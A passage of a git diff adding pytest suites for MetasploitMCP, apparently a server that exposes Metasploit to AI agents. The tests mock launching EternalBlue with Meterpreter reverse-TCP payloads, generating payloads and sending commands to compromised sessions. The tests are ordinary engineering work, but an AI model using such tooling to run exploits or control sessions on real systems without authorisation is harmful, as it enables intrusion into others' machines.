parser.add_argument("--coverage", action="store_true", help="Generate coverage report") + parser.add_argument("--html", action="store_true", help="Generate HTML coverage report") + parser.add_argument("--slow", action="store_true", help="Include slow tests") + parser.add_argument("--network", action="store_true", help="Include network tests") + parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") + parser.add_argument("--install-deps", action="store_true", help="Install test dependencies") + + args = parser.parse_args() + + # Handle dependency installation + if args.install_deps: + return run_command([ + sys.executable, "-m", "pip", "install", "-r", "requirements-test.txt" + ], "Installing test dependencies") + + # Check dependencies + if not check_dependencies(): + return False + + # Build pytest command + cmd = [sys.executable, "-m", "pytest"] + + # Add verbosity + if args.verbose: + cmd.append("-v") + + # Add coverage options + if args.coverage or args.html: + cmd.extend(["--cov=MetasploitMCP", "--cov-report=term-missing"]) + if args.html: + cmd.append("--cov-report=html:htmlcov") + + # Add slow/network test options + if args.slow: + cmd.append("--run-slow") + if args.network: + cmd.append("--run-network") + + # Determine which tests to run + if args.options: + cmd.append("tests/test_options_parsing.py") + description = "Running options parsing tests" + elif args.helpers: + cmd.append("tests/test_helpers.py") + description = "Running helper function tests" + elif args.tools: + cmd.append("tests/test_tools_integration.py") + description = "Running MCP tools integration tests" + elif args.unit: + cmd.extend(["-m", "unit"]) + description = "Running unit tests" + elif args.integration: + cmd.extend(["-m", "integration"]) + description = "Running integration tests" + elif args.all: + cmd.append("tests/") + description = "Running all tests" + else: + # Default: run all tests + cmd.append("tests/") + description = "Running all tests (default)" + + # Run the tests + success = run_command(cmd, description) + + if success and (args.coverage or args.html): + print("\nšŸ“Š Coverage report generated") + if args.html: + html_path = Path("htmlcov/index.html").resolve() + print(f"šŸ“„ HTML report: file://{html_path}") + + return success + +if __name__ == "__main__": + success = main() + sys.exit(0 if success else 1) diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..9f3b407 --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1 @@ +# Test package for MetasploitMCP diff --git a/tests/test_helpers.py b/tests/test_helpers.py new file mode 100644 index 0000000..cbbb712 --- /dev/null +++ b/tests/test_helpers.py @@ -0,0 +1,341 @@ +#!/usr/bin/env python3 +""" +Unit tests for helper functions in MetasploitMCP. +""" + +import pytest +import sys +import os +import asyncio +from unittest.mock import Mock, patch, AsyncMock, MagicMock +from typing import Dict, Any + +# Add the parent directory to the path to import MetasploitMCP +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) + +# Mock the dependencies that aren't available in test environment +sys.modules['uvicorn'] = Mock() +sys.modules['fastapi'] = Mock() +sys.modules['mcp.server.fastmcp'] = Mock() +sys.modules['mcp.server.sse'] = Mock() +sys.modules['pymetasploit3.msfrpc'] = Mock() +sys.modules['starlette.applications'] = Mock() +sys.modules['starlette.routing'] = Mock() +sys.modules['mcp.server.session'] = Mock() + +# Create mock classes for MSF objects +class MockMsfRpcClient: + def __init__(self): + self.modules = Mock() + self.core = Mock() + self.sessions = Mock() + self.jobs = Mock() + self.consoles = Mock() + +class MockMsfConsole: + def __init__(self, cid='test-console-id'): + self.cid = cid + + def read(self): + return {'data': 'test output', 'prompt': 'msf6 > ', 'busy': False} + + def write(self, command): + return True + +class MockMsfRpcError(Exception): + pass + +# Patch the MSF modules +sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient +sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole +sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError + +# Import after mocking +from MetasploitMCP import ( + _get_module_object, _set_module_options, initialize_msf_client, + get_msf_client, get_msf_console, run_command_safely, + find_available_port +) + + +class TestMsfClientFunctions: + """Test MSF client initialization and management functions.""" + + @patch('MetasploitMCP.MSF_PASSWORD', 'test-password') + @patch('MetasploitMCP.MSF_SERVER', '127.0.0.1') + @patch('MetasploitMCP.MSF_PORT_STR', '55553') + @patch('MetasploitMCP.MSF_SSL_STR', 'false') + def test_initialize_msf_client_success(self): + """Test successful MSF client initialization.""" + with patch('MetasploitMCP._msf_client_instance', None): + with patch('MetasploitMCP.MsfRpcClient') as mock_client_class: + mock_client = Mock() + mock_client.core.version = {'version': '6.3.0'} + mock_client_class.return_value = mock_client + + result = initialize_msf_client() + + assert result is mock_client + mock_client_class.assert_called_once_with( + password='test-password', + server='127.0.0.1', + port=55553, + ssl=False + ) + + @patch('MetasploitMCP.MSF_PORT_STR', 'invalid-port') + def test_initialize_msf_client_invalid_port(self): + """Test MSF client initialization with invalid port.""" + with patch('MetasploitMCP._msf_client_instance', None): + with pytest.raises(ValueError, match="Invalid MSF connection parameters"): + initialize_msf_client() + + def test_get_msf_client_not_initialized(self): + """Test get_msf_client when client not initialized.""" + with patch('MetasploitMCP._msf_client_instance', None): + with pytest.raises(ConnectionError, match="not been initialized"): + get_msf_client() + + def test_get_msf_client_initialized(self): + """Test get_msf_client when client is initialized.""" + mock_client = Mock() + with patch('MetasploitMCP._msf_client_instance', mock_client): + result = get_msf_client() + assert result is mock_client + + +class TestGetModuleObject: + """Test the _get_module_object helper function.""" + + @pytest.fixture + def mock_client(self): + """Fixture providing a mock MSF client.""" + client = Mock() + with patch('MetasploitMCP.get_msf_client', return_value=client): + yield client + + @pytest.mark.asyncio + async def test_get_module_object_success(self, mock_client): + """Test successful module object retrieval.""" + mock_module = Mock() + mock_client.modules.use.return_value = mock_module + + result = await _get_module_object('exploit', 'windows/smb/ms17_010_eternalblue') + + assert result is mock_module + mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue') + + @pytest.mark.asyncio + async def test_get_module_object_full_path(self, mock_client): + """Test module object retrieval with full path.""" + mock_module = Mock() + mock_client.modules.use.return_value = mock_module + + result = await _get_module_object('exploit', 'exploit/windows/smb/ms17_010_eternalblue') + + assert result is mock_module + # Should strip the module type prefix + mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue') + + @pytest.mark.asyncio + async def test_get_module_object_not_found(self, mock_client): + """Test module object retrieval when module not found.""" + mock_client.modules.use.side_effect = KeyError("Module not found") + + with pytest.raises(ValueError, match="not found"): + await _get_module_object('exploit', 'nonexistent/module') + + @pytest.mark.asyncio + async def test_get_module_object_msf_error(self, mock_client): + """Test module object retrieval with MSF RPC error.""" + mock_client.modules.use.side_effect = MockMsfRpcError("RPC Error") + + with pytest.raises(MockMsfRpcError, match="RPC Error"): + await _get_module_object('exploit', 'test/module') + + +class TestSetModuleOptions: + """Test the _set_module_options helper function.""" + + @pytest.fixture + def mock_module(self): + """Fixture providing a mock module object.""" + module = Mock() + module.fullname = 'exploit/test/module' + module.__setitem__ = Mock() + return module + + @pytest.mark.asyncio + async def test_set_module_options_basic(self, mock_module): + """Test basic option setting.""" + options = {'RHOSTS': '192.168.1.1', 'RPORT': '80'} + + await _set_module_options(mock_module, options) + + # Should be called twice, once for each option + assert mock_module.__setitem__.call_count == 2 + mock_module.__setitem__.assert_any_call('RHOSTS', '192.168.1.1') + mock_module.__setitem__.assert_any_call('RPORT', 80) # Type conversion: '80' -> 80 + + @pytest.mark.asyncio + async def test_set_module_options_type_conversion(self, mock_module): + """Test option setting with type conversion.""" + options = { + 'RPORT': '80', # String number -> int + 'SSL': 'true', # String boolean -> bool + 'VERBOSE': 'false', # String boolean -> bool + 'THREADS': '10' # String number -> int + } + + await _set_module_options(mock_module, options) + + # Verify type conversions + calls = mock_module.__setitem__.call_args_list + call_dict = {call[0][0]: call[0][1] for call in calls} + + assert call_dict['RPORT'] == 80 + assert call_dict['SSL'] is True + assert call_dict['VERBOSE'] is False + assert call_dict['THREADS'] == 10 + + @pytest.mark.asyncio + async def test_set_module_options_error(self, mock_module): + """Test option setting with error.""" + mock_module.__setitem__.side_effect = KeyError("Invalid option") + options = {'INVALID_OPT': 'value'} + + with pytest.raises(ValueError, match="Failed to set option"): + await _set_module_options(mock_module, options) + + +class TestGetMsfConsole: + """Test the get_msf_console context manager.""" + + @pytest.fixture + def mock_client(self): + """Fixture providing a mock MSF client.""" + client = Mock() + with patch('MetasploitMCP.get_msf_client', return_value=client): + yield client + + @pytest.mark.asyncio + async def test_get_msf_console_success(self, mock_client): + """Test successful console creation and cleanup.""" + mock_console = MockMsfConsole('test-console-123') + mock_client.consoles.console.return_value = mock_console + mock_client.consoles.destroy.return_value = 'destroyed' + + # Mock the global client instance for cleanup + with patch('MetasploitMCP._msf_client_instance', mock_client): + async with get_msf_console() as console: + assert console is mock_console + assert console.cid == 'test-console-123' + + # Verify cleanup was called + mock_client.consoles.destroy.assert_called_once_with('test-console-123') + + @pytest.mark.asyncio + async def test_get_msf_console_creation_error(self, mock_client): + """Test console creation error handling.""" + mock_client.consoles.console.side_effect = MockMsfRpcError("Console creation failed") + + with pytest.raises(MockMsfRpcError, match="Console creation failed"): + async with get_msf_console() as console: + pass + + @pytest.mark.asyncio + async def test_get_msf_console_cleanup_error(self, mock_client): + """Test that cleanup errors don't propagate.""" + mock_console = MockMsfConsole('test-console-123') + mock_client.consoles.console.return_value = mock_console + mock_client.consoles.destroy.side_effect = Exception("Cleanup failed") + + # Should not raise exception even if cleanup fails + async with get_msf_console() as console: + assert console is mock_console + + +class TestRunCommandSafely: + """Test the run_command_safely function.""" + + @pytest.fixture + def mock_console(self): + """Fixture providing a mock console.""" + console = Mock() + console.write = Mock() + console.read = Mock() + return console + + @pytest.mark.asyncio + async def test_run_command_safely_basic(self, mock_console): + """Test basic command execution.""" + # Mock console read to return prompt immediately + mock_console.read.return_value = { + 'data': 'command output\n', + 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', + 'busy': False + } + + result = await run_command_safely(mock_console, 'help') + + mock_console.write.assert_called_once_with('help\n') + assert 'command output' in result + + @pytest.mark.asyncio + async def test_run_command_safely_invalid_console(self, mock_console): + """Test command execution with invalid console.""" + # Remove required methods + delattr(mock_console, 'write') + + with pytest.raises(TypeError, match="Unsupported console object"): + await run_command_safely(mock_console, 'help') + + @pytest.mark.asyncio + async def test_run_command_safely_read_error(self, mock_console): + """Test command execution with read error - should timeout gracefully.""" + mock_console.read.side_effect = Exception("Read failed") + + # Should not raise exception, but timeout and return empty result + result = await run_command_safely(mock_console, 'help') + + # Should return empty string after timeout + assert isinstance(result, str) + assert result == "" # Empty result after timeout + + +class TestFindAvailablePort: + """Test the find_available_port utility function.""" + + def test_find_available_port_success(self): + """Test finding an available port.""" + # This should succeed as it tests real socket binding + port = find_available_port(8080, max_attempts=5) + assert isinstance(port, int) + assert 8080 <= port < 8085 + + @patch('socket.socket') + def test_find_available_port_all_busy(self, mock_socket_class): + """Test when all ports in range are busy.""" + mock_socket = Mock() + mock_socket_class.return_value.__enter__.return_value = mock_socket + mock_socket.bind.side_effect = OSError("Port in use") + + # Should return the start port as fallback + port = find_available_port(8080, max_attempts=3) + assert port == 8080 + + @patch('socket.socket') + def test_find_available_port_second_attempt(self, mock_socket_class): + """Test finding port on second attempt.""" + mock_socket = Mock() + mock_socket_class.return_value.__enter__.return_value = mock_socket + + # First call fails, second succeeds + mock_socket.bind.side_effect = [OSError("Port in use"), None] + + port = find_available_port(8080, max_attempts=3) + assert port == 8081 + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) diff --git a/tests/test_options_parsing.py b/tests/test_options_parsing.py new file mode 100644 index 0000000..c059860 --- /dev/null +++ b/tests/test_options_parsing.py @@ -0,0 +1,247 @@ +#!/usr/bin/env python3 +""" +Unit tests for the options parsing functionality in MetasploitMCP. +""" + +import pytest +import sys +import os +from unittest.mock import Mock, patch +from typing import Dict, Any, Union + +# Add the parent directory to the path to import MetasploitMCP +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) + +# Mock the dependencies that aren't available in test environment +sys.modules['uvicorn'] = Mock() +sys.modules['fastapi'] = Mock() +sys.modules['mcp.server.fastmcp'] = Mock() +sys.modules['mcp.server.sse'] = Mock() +sys.modules['pymetasploit3.msfrpc'] = Mock() +sys.modules['starlette.applications'] = Mock() +sys.modules['starlette.routing'] = Mock() +sys.modules['mcp.server.session'] = Mock() + +# Import the function we want to test +from MetasploitMCP import _parse_options_gracefully + + +class TestParseOptionsGracefully: + """Test cases for the _parse_options_gracefully function.""" + + def test_dict_format_passthrough(self): + """Test that dictionary format is passed through unchanged.""" + input_dict = {"LHOST": "192.168.1.100", "LPORT": 4444} + result = _parse_options_gracefully(input_dict) + assert result == input_dict + assert result is input_dict # Should be the same object + + def test_none_returns_empty_dict(self): + """Test that None input returns empty dictionary.""" + result = _parse_options_gracefully(None) + assert result == {} + assert isinstance(result, dict) + + def test_empty_string_returns_empty_dict(self): + """Test that empty string returns empty dictionary.""" + result = _parse_options_gracefully("") + assert result == {} + + result = _parse_options_gracefully(" ") + assert result == {} + + def test_empty_dict_returns_empty_dict(self): + """Test that empty dictionary returns empty dictionary.""" + result = _parse_options_gracefully({}) + assert result == {} + + def test_simple_string_format(self): + """Test basic string format parsing.""" + input_str = "LHOST=192.168.1.100,LPORT=4444" + expected = {"LHOST": "192.168.1.100", "LPORT": 4444} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_string_format_with_spaces(self): + """Test string format with extra spaces.""" + input_str = " LHOST = 192.168.1.100 , LPORT = 4444 " + expected = {"LHOST": "192.168.1.100", "LPORT": 4444} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_string_format_with_quotes(self): + """Test string format with quoted values.""" + input_str = 'LHOST="192.168.1.100",LPORT="4444"' + expected = {"LHOST": "192.168.1.100", "LPORT": 4444} + result = _parse_options_gracefully(input_str) + assert result == expected + + input_str = "LHOST='192.168.1.100',LPORT='4444'" + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_boolean_conversion(self): + """Test boolean value conversion.""" + input_str = "ExitOnSession=true,Verbose=false,Debug=TRUE,Silent=FALSE" + expected = { + "ExitOnSession": True, + "Verbose": False, + "Debug": True, + "Silent": False + } + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_numeric_conversion(self): + """Test numeric value conversion.""" + input_str = "LPORT=4444,Timeout=30,Retries=5" + expected = {"LPORT": 4444, "Timeout": 30, "Retries": 5} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_mixed_types(self): + """Test parsing with mixed value types.""" + input_str = "LHOST=192.168.1.100,LPORT=4444,SSL=true,Retries=3" + expected = { + "LHOST": "192.168.1.100", + "LPORT": 4444, + "SSL": True, + "Retries": 3 + } + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_equals_in_value(self): + """Test parsing when value contains equals sign.""" + input_str = "LURI=/test=value,LHOST=192.168.1.1" + expected = {"LURI": "/test=value", "LHOST": "192.168.1.1"} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_complex_values(self): + """Test parsing complex values like file paths and URLs.""" + input_str = "CertFile=/path/to/cert.pem,URL=https://example.com:8443/api,Command=ls -la" + expected = { + "CertFile": "/path/to/cert.pem", + "URL": "https://example.com:8443/api", + "Command": "ls -la" + } + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_single_option(self): + """Test parsing single option.""" + input_str = "LHOST=192.168.1.100" + expected = {"LHOST": "192.168.1.100"} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_error_missing_equals(self): + """Test error handling for missing equals sign.""" + with pytest.raises(ValueError, match="missing '='"): + _parse_options_gracefully("LHOST192.168.1.100") + + with pytest.raises(ValueError, match="missing '='"): + _parse_options_gracefully("LHOST=192.168.1.100,LPORT4444") + + def test_error_empty_key(self): + """Test error handling for empty key.""" + with pytest.raises(ValueError, match="empty key"): + _parse_options_gracefully("=value") + + with pytest.raises(ValueError, match="empty key"): + _parse_options_gracefully("LHOST=192.168.1.100,=4444") + + def test_error_invalid_type(self): + """Test error handling for invalid input types.""" + with pytest.raises(ValueError, match="Options must be a dictionary"): + _parse_options_gracefully(123) + + with pytest.raises(ValueError, match="Options must be a dictionary"): + _parse_options_gracefully([1, 2, 3]) + + def test_whitespace_handling(self): + """Test various whitespace scenarios.""" + # Leading/trailing spaces in whole string + result = _parse_options_gracefully(" LHOST=192.168.1.100,LPORT=4444 ") + expected = {"LHOST": "192.168.1.100", "LPORT": 4444} + assert result == expected + + # Spaces around commas + result = _parse_options_gracefully("LHOST=192.168.1.100 , LPORT=4444") + assert result == expected + + # Multiple spaces + result = _parse_options_gracefully("LHOST=192.168.1.100, LPORT=4444") + assert result == expected + + def test_edge_case_empty_value(self): + """Test handling of empty values.""" + input_str = "LHOST=192.168.1.100,EmptyValue=" + expected = {"LHOST": "192.168.1.100", "EmptyValue": ""} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_quoted_empty_value(self): + """Test handling of quoted empty values.""" + input_str = 'LHOST=192.168.1.100,EmptyValue=""' + expected = {"LHOST": "192.168.1.100", "EmptyValue": ""} + result = _parse_options_gracefully(input_str) + assert result == expected + + def test_special_characters_in_values(self): + """Test handling of special characters in values.""" + input_str = "Password=p@ssw0rd!,Path=/home/user/file.txt,Regex=\\d+" + expected = { + "Password": "p@ssw0rd!", + "Path": "/home/user/file.txt", + "Regex": "\\d+" + } + result = _parse_options_gracefully(input_str) + assert result == expected + + @pytest.mark.parametrize("input_val,expected", [ + # Basic cases + ({"key": "value"}, {"key": "value"}), + ("key=value", {"key": "value"}), + (None, {}), + ("", {}), + + # Type conversions + ("port=8080", {"port": 8080}), + ("enabled=true", {"enabled": True}), + ("disabled=false", {"disabled": False}), + + # Complex cases + ("a=1,b=true,c=text", {"a": 1, "b": True, "c": "text"}), + ]) + def test_parametrized_cases(self, input_val, expected): + """Parametrized test cases for various inputs.""" + result = _parse_options_gracefully(input_val) + assert result == expected + + def test_large_number_handling(self): + """Test handling of large numbers that might not fit in int.""" + # Python can handle very large integers, so use a string that definitely isn't a number + mixed_num = "999999999999999999999abc" + input_str = f"BigNumber={mixed_num}" + result = _parse_options_gracefully(input_str) + # The function tries int conversion but falls back to string on error + assert result["BigNumber"] == mixed_num + assert isinstance(result["BigNumber"], str) + + def test_logging_behavior(self): + """Test that logging occurs during string conversion.""" + with patch('MetasploitMCP.logger') as mock_logger: + _parse_options_gracefully("LHOST=192.168.1.100,LPORT=4444") + # Should log the conversion + assert mock_logger.info.call_count >= 1 + + # Should contain conversion messages + call_args = [call[0][0] for call in mock_logger.info.call_args_list] + assert any("Converting string format" in msg for msg in call_args) + assert any("Successfully converted" in msg for msg in call_args) + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) diff --git a/tests/test_tools_integration.py b/tests/test_tools_integration.py new file mode 100644 index 0000000..261a83b --- /dev/null +++ b/tests/test_tools_integration.py @@ -0,0 +1,571 @@ +#!/usr/bin/env python3 +""" +Integration tests for MCP tools in MetasploitMCP. +These tests mock the Metasploit backend but test the full tool workflows. +""" + +import pytest +import sys +import os +import asyncio +from unittest.mock import Mock, patch, AsyncMock, MagicMock +from typing import Dict, Any + +# Add the parent directory to the path to import MetasploitMCP +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) + +# Mock the dependencies that aren't available in test environment +sys.modules['uvicorn'] = Mock() +sys.modules['fastapi'] = Mock() +sys.modules['starlette.applications'] = Mock() +sys.modules['starlette.routing'] = Mock() + +# Create a special mock for FastMCP that preserves the tool decorator behavior +class MockFastMCP: + def __init__(self, *args, **kwargs): + pass + + def tool(self): + # Return a decorator that just returns the original function + def decorator(func): + return func + return decorator + +# Mock the MCP modules with our custom FastMCP +mcp_server_fastmcp = Mock() +mcp_server_fastmcp.FastMCP = MockFastMCP +sys.modules['mcp.server.fastmcp'] = mcp_server_fastmcp +sys.modules['mcp.server.sse'] = Mock() +sys.modules['mcp.server.session'] = Mock() + +# Mock pymetasploit3 module +sys.modules['pymetasploit3.msfrpc'] = Mock() + +# Create comprehensive mock classes +class MockMsfRpcClient: + def __init__(self): + self.modules = Mock() + self.core = Mock() + self.sessions = Mock() + self.jobs = Mock() + self.consoles = Mock() + + # Setup default behaviors + self.core.version = {'version': '6.3.0'} + # These are properties that return lists + self.modules.exploits = ['windows/smb/ms17_010_eternalblue', 'unix/ftp/vsftpd_234_backdoor'] + self.modules.payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/shell/reverse_tcp'] + # These are methods that return dicts + self.sessions.list = Mock(return_value={}) + self.jobs.list = Mock(return_value={}) + +class MockMsfConsole: + def __init__(self, cid='test-console-id'): + self.cid = cid + self._command_history = [] + + def read(self): + return {'data': 'msf6 > ', 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', 'busy': False} + + def write(self, command): + self._command_history.append(command.strip()) + return True + +class MockMsfModule: + def __init__(self, fullname): + self.fullname = fullname + self.options = {} + # Create a proper mock for runoptions that supports __setitem__ + self.runoptions = {} + self.missing_required = [] + + def __setitem__(self, key, value): + self.options[key] = value + + def execute(self, payload=None): + return { + 'job_id': 1234, + 'uuid': 'test-uuid-123', + 'error': False + } + + def payload_generate(self): + return b"test_payload_bytes" + +class MockMsfRpcError(Exception): + pass + +# Apply mocks +sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient +sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole +sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError + +# Import the module and then get the actual functions +import MetasploitMCP + +# Get the actual functions (not mocked) +list_exploits = MetasploitMCP.list_exploits +list_payloads = MetasploitMCP.list_payloads +generate_payload = MetasploitMCP.generate_payload +run_exploit = MetasploitMCP.run_exploit +run_post_module = MetasploitMCP.run_post_module +run_auxiliary_module = MetasploitMCP.run_auxiliary_module +list_active_sessions = MetasploitMCP.list_active_sessions +send_session_command = MetasploitMCP.send_session_command +start_listener = MetasploitMCP.start_listener +stop_job = MetasploitMCP.stop_job +terminate_session = MetasploitMCP.terminate_session + + +class TestExploitListingTools: + """Test tools for listing exploits and payloads.""" + + @pytest.fixture + def mock_client(self): + """Fixture providing a mock MSF client.""" + client = MockMsfRpcClient() + with patch('MetasploitMCP.get_msf_client', return_value=client): + yield client + + @pytest.mark.asyncio + async def test_list_exploits_no_filter(self, mock_client): + """Test listing exploits without filter.""" + mock_client.modules.exploits = [ + 'windows/smb/ms17_010_eternalblue', + 'unix/ftp/vsftpd_234_backdoor', + 'windows/http/iis_webdav_upload_asp' + ] + + result = await list_exploits() + + assert isinstance(result, list) + assert len(result) == 3 + assert 'windows/smb/ms17_010_eternalblue' in result + + @pytest.mark.asyncio + async def test_list_exploits_with_filter(self, mock_client): + """Test listing exploits with search term.""" + mock_client.modules.exploits = [ + 'windows/smb/ms17_010_eternalblue', + 'unix/ftp/vsftpd_234_backdoor', + 'windows/smb/ms08_067_netapi' + ] + + result = await list_exploits("smb") + + assert isinstance(result, list) + assert len(result) == 2 + assert all('smb' in exploit.lower() for exploit in result) + + @pytest.mark.asyncio + async def test_list_exploits_error(self, mock_client): + """Test listing exploits with MSF error.""" + mock_client.modules.exploits = Mock(side_effect=MockMsfRpcError("Connection failed")) + + result = await list_exploits() + + assert isinstance(result, list) + assert len(result) == 1 + assert "Error" in result[0] + + @pytest.mark.asyncio + async def test_list_exploits_timeout(self, mock_client): + """Test listing exploits with timeout.""" + import asyncio + + def slow_exploits(): + # Simulate a slow response that would timeout + import time + time.sleep(35) # Longer than RPC_CALL_TIMEOUT (30s) + return ['exploit1', 'exploit2'] + + mock_client.modules.exploits = slow_exploits + + result = await list_exploits() + + assert isinstance(result, list) + assert len(result) == 1 + assert "Timeout" in result[0] + assert "30" in result[0] # Should mention the timeout duration + + @pytest.mark.asyncio + async def test_list_payloads_no_filter(self, mock_client): + """Test listing payloads without filter.""" + mock_client.modules.payloads = [ + 'windows/meterpreter/reverse_tcp', + 'linux/x86/shell/reverse_tcp', + 'windows/shell/reverse_tcp' + ] + + result = await list_payloads() + + assert isinstance(result, list) + assert len(result) == 3 + + @pytest.mark.asyncio + async def test_list_payloads_with_platform_filter(self, mock_client): + """Test listing payloads with platform filter.""" + mock_client.modules.payloads = [ + 'windows/meterpreter/reverse_tcp', + 'linux/x86/shell/reverse_tcp', + 'windows/shell/reverse_tcp' + ] + + result = await list_payloads(platform="windows") + + assert isinstance(result, list) + assert len(result) == 2 + assert all('windows' in payload.lower() for payload in result) + + @pytest.mark.asyncio + async def test_list_payloads_with_arch_filter(self, mock_client): + """Test listing payloads with architecture filter.""" + mock_client.modules.payloads = [ + 'windows/meterpreter/reverse_tcp', + 'linux/x86/shell/reverse_tcp', + 'windows/x64/meterpreter/reverse_tcp' + ] + + result = await list_payloads(arch="x86") + + assert isinstance(result, list) + assert len(result) == 1 + assert 'x86' in result[0] + + +class TestPayloadGeneration: + """Test payload generation functionality.""" + + @pytest.fixture + def mock_client_and_module(self): + """Fixture providing mocked client and module.""" + client = MockMsfRpcClient() + module = MockMsfModule('payload/windows/meterpreter/reverse_tcp') + + with patch('MetasploitMCP.get_msf_client', return_value=client): + with patch('MetasploitMCP._get_module_object', return_value=module): + with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', '/tmp/test'): + with patch('os.makedirs'): + with patch('builtins.open', create=True) as mock_open: + mock_open.return_value.__enter__.return_value.write = Mock() + yield client, module + + @pytest.mark.asyncio + async def test_generate_payload_dict_options(self, mock_client_and_module): + """Test payload generation with dictionary options.""" + client, module = mock_client_and_module + + options = {"LHOST": "192.168.1.100", "LPORT": 4444} + result = await generate_payload( + payload_type="windows/meterpreter/reverse_tcp", + format_type="exe", + options=options + ) + + assert result["status"] == "success" + assert "server_save_path" in result + assert result["payload_size"] == len(b"test_payload_bytes") + + @pytest.mark.asyncio + async def test_generate_payload_string_options(self, mock_client_and_module): + """Test payload generation with string options.""" + client, module = mock_client_and_module + + options = "LHOST=192.168.1.100,LPORT=4444" + result = await generate_payload( + payload_type="windows/meterpreter/reverse_tcp", + format_type="exe", + options=options + ) + + assert result["status"] == "success" + # Verify the options were parsed correctly + assert module.options["LHOST"] == "192.168.1.100" + assert module.options["LPORT"] == 4444 + + @pytest.mark.asyncio + async def test_generate_payload_empty_options(self, mock_client_and_module): + """Test payload generation with empty options.""" + client, module = mock_client_and_module + + result = await generate_payload( + payload_type="windows/meterpreter/reverse_tcp", + format_type="exe", + options={} + ) + + assert result["status"] == "error" + assert "required" in result["message"] + + @pytest.mark.asyncio + async def test_generate_payload_invalid_string_options(self, mock_client_and_module): + """Test payload generation with invalid string options.""" + client, module = mock_client_and_module + + result = await generate_payload( + payload_type="windows/meterpreter/reverse_tcp", + format_type="exe", + options="LHOST192.168.1.100" # Missing equals + ) + + assert result["status"] == "error" + assert "Invalid options format" in result["message"] + + +class TestExploitExecution: + """Test exploit execution functionality.""" + + @pytest.fixture + def mock_exploit_environment(self): + """Fixture providing mocked exploit execution environment.""" + client = MockMsfRpcClient() + module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') + + with patch('MetasploitMCP.get_msf_client', return_value=client): + with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: + with patch('MetasploitMCP._execute_module_console') as mock_console: + mock_rpc.return_value = { + "status": "success", + "message": "Exploit executed", + "job_id": 1234, + "session_id": 5678 + } + mock_console.return_value = { + "status": "success", + "message": "Exploit executed via console", + "module_output": "Session 1 opened" + } + yield client, mock_rpc, mock_console + + @pytest.mark.asyncio + async def test_run_exploit_dict_payload_options(self, mock_exploit_environment): + """Test exploit execution with dictionary payload options.""" + client, mock_rpc, mock_console = mock_exploit_environment + + result = await run_exploit( + module_name="windows/smb/ms17_010_eternalblue", + options={"RHOSTS": "192.168.1.1"}, + payload_name="windows/meterpreter/reverse_tcp", + payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, + run_as_job=True + ) + + assert result["status"] == "success" + mock_rpc.assert_called_once() + + @pytest.mark.asyncio + async def test_run_exploit_string_payload_options(self, mock_exploit_environment): + """Test exploit execution with string payload options.""" + client, mock_rpc, mock_console = mock_exploit_environment + + result = await run_exploit( + module_name="windows/smb/ms17_010_eternalblue", + options={"RHOSTS": "192.168.1.1"}, + payload_name="windows/meterpreter/reverse_tcp", + payload_options="LHOST=192.168.1.100,LPORT=4444", + run_as_job=True + ) + + assert result["status"] == "success" + # Verify RPC was called with parsed options + call_args = mock_rpc.call_args + payload_spec = call_args[1]['payload_spec'] + assert payload_spec['options']['LHOST'] == "192.168.1.100" + assert payload_spec['options']['LPORT'] == 4444 + + @pytest.mark.asyncio + async def test_run_exploit_invalid_payload_options(self, mock_exploit_environment): + """Test exploit execution with invalid payload options.""" + client, mock_rpc, mock_console = mock_exploit_environment + + result = await run_exploit( + module_name="windows/smb/ms17_010_eternalblue", + options={"RHOSTS": "192.168.1.1"}, + payload_name="windows/meterpreter/reverse_tcp", + payload_options="LHOST192.168.1.100", # Invalid format + run_as_job=True + ) + + assert result["status"] == "error" + assert "Invalid payload_options format" in result["message"] + + @pytest.mark.asyncio + async def test_run_exploit_console_mode(self, mock_exploit_environment): + """Test exploit execution in console mode.""" + client, mock_rpc, mock_console = mock_exploit_environment + + result = await run_exploit( + module_name="windows/smb/ms17_010_eternalblue", + options={"RHOSTS": "192.168.1.1"}, + payload_name="windows/meterpreter/reverse_tcp", + payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, + run_as_job=False # Console mode + ) + + assert result["status"] == "success" + mock_console.assert_called_once() + mock_rpc.assert_not_called() + + +class TestSessionManagement: + """Test session management functionality.""" + + @pytest.fixture + def mock_session_environment(self): + """Fixture providing mocked session management environment.""" + client = MockMsfRpcClient() + session = Mock() + session.run_with_output = Mock(return_value="command output") + session.read = Mock(return_value="session data") + session.write = Mock() + session.stop = Mock() + + # Override the default Mock with actual dict return values + client.sessions.list = Mock(return_value={ + "1": {"type": "meterpreter", "info": "Windows session"}, + "2": {"type": "shell", "info": "Linux session"} + }) + client.sessions.session = Mock(return_value=session) + + with patch('MetasploitMCP.get_msf_client', return_value=client): + yield client, session + 